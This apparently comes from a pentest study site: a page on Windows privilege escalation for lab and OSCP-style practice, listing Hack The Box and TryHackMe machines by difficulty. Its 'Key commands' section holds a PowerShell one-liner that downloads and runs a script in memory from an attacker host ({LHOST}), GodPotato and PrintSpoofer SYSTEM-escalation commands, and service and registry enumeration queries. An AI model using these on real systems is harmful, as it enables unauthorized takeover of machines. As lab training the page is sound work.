Windows Privilege Escalation: practice machines and key commands
By Daniel Dayan ยท Updated
Windows privilege escalation starts with understanding who you are and what the account can do. Run whoami /all and look for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, which service accounts usually hold and which potato style tools such as PrintSpoofer and GodPotato convert to SYSTEM. Other common paths are unquoted service paths, weak service binary or registry permissions, AlwaysInstallElevated, stored credentials, scheduled tasks and UAC bypasses when you are an administrator in a medium integrity shell. Automated scripts like WinPEAS list candidates quickly, but verify each finding by hand. Check the architecture and OS build before choosing an exploit. These machines cover the main Windows escalation families. Note the integrity level of your shell, because many techniques only work from a service context or an elevated prompt. Keep payloads small, test in a lab copy first, and clean up any service or registry change you make so the box stays stable for later steps.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
WinPEAS In-Memory Download & Execute
Execute WinPEAS privilege escalation scanner directly in memory via WebClient.
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://{LHOST}:8000/winPEAS.ps1')"GodPotato SeImpersonatePrivilege Exploit
Abuse SeImpersonatePrivilege on Windows Server 2012-2022 via DCOM/RPC reflection.
GodPotato-NET4.exe -cmd "cmd.exe /c whoami"PrintSpoofer SeImpersonate / Named Pipe Exploit
Elevate from service account to SYSTEM via print spooler named pipe reflection.
PrintSpoofer64.exe -i -c cmdUnquoted Service Path Enumeration
Detect auto-starting Windows services with unquoted executable paths containing spaces.
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """AlwaysInstallElevated Registry Query
Verify if MSI packages run with elevated SYSTEM permissions via registry keys.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Keep going
- Methodology: Phase 07: Privilege Escalation & Lateral Movement
- Cheatsheet: Windows & Active Directory
Windows Privilege Escalation machines (14)
6 of these are machines I solved myself and are listed first within each difficulty. 14 Windows.
Listed when a machine has a catalog tag that is one of: juicypotato, xp cmdshell, seimpersonateprivilege, token impersonation, printspoofer, godpotato, potato, unquoted service path, uac bypass, alwaysinstallelevated, cve 2019 1388, registry, winpeas; or a tag that contains the text potato. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
Windows Privilege Escalation at a glance
- By platform: 9 Hack The Box, 5 TryHackMe.
- On these practice lists: OSCP (6), CWEE (3), CPTS (2), Unofficial IppSec CPTS (2), OSWE (1), HTB Starting Point (1).
- Tags that most often appear alongside it: CVE-2014-6287 (2), CVE-2017-7269 (2), PowerShell (2), RDP (2).
- Solved by me, with a page here: Archetype (Windows Very Easy), Blue (Windows Easy), Devel (Windows Easy), Grandpa (Windows Easy), Granny (Windows Easy), Optimum (Windows Easy).
Very Easy (1)
| Machine | Platform | OS |
|---|---|---|
| Archetype | HTB | Windows |
Easy (7)
| Machine | Platform | OS |
|---|---|---|
| Blue IppSec | HTB | Windows |
| Devel IppSec | HTB | Windows |
| Grandpa IppSec | HTB | Windows |
| Granny IppSec | HTB | Windows |
| Optimum IppSec | HTB | Windows |
| Alfred | THM | Windows |
| Steel Mountain | THM | Windows |
Medium (5)
| Machine | Platform | OS |
|---|---|---|
| Arkham IppSec | HTB | Windows |
| Blaster | THM | Windows |
| Hospital IppSec | HTB | Windows |
| Relevant | THM | Windows |
| Visual IppSec | HTB | Windows |
Hard (1)
| Machine | Platform | OS |
|---|---|---|
| Retro | THM | Windows |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.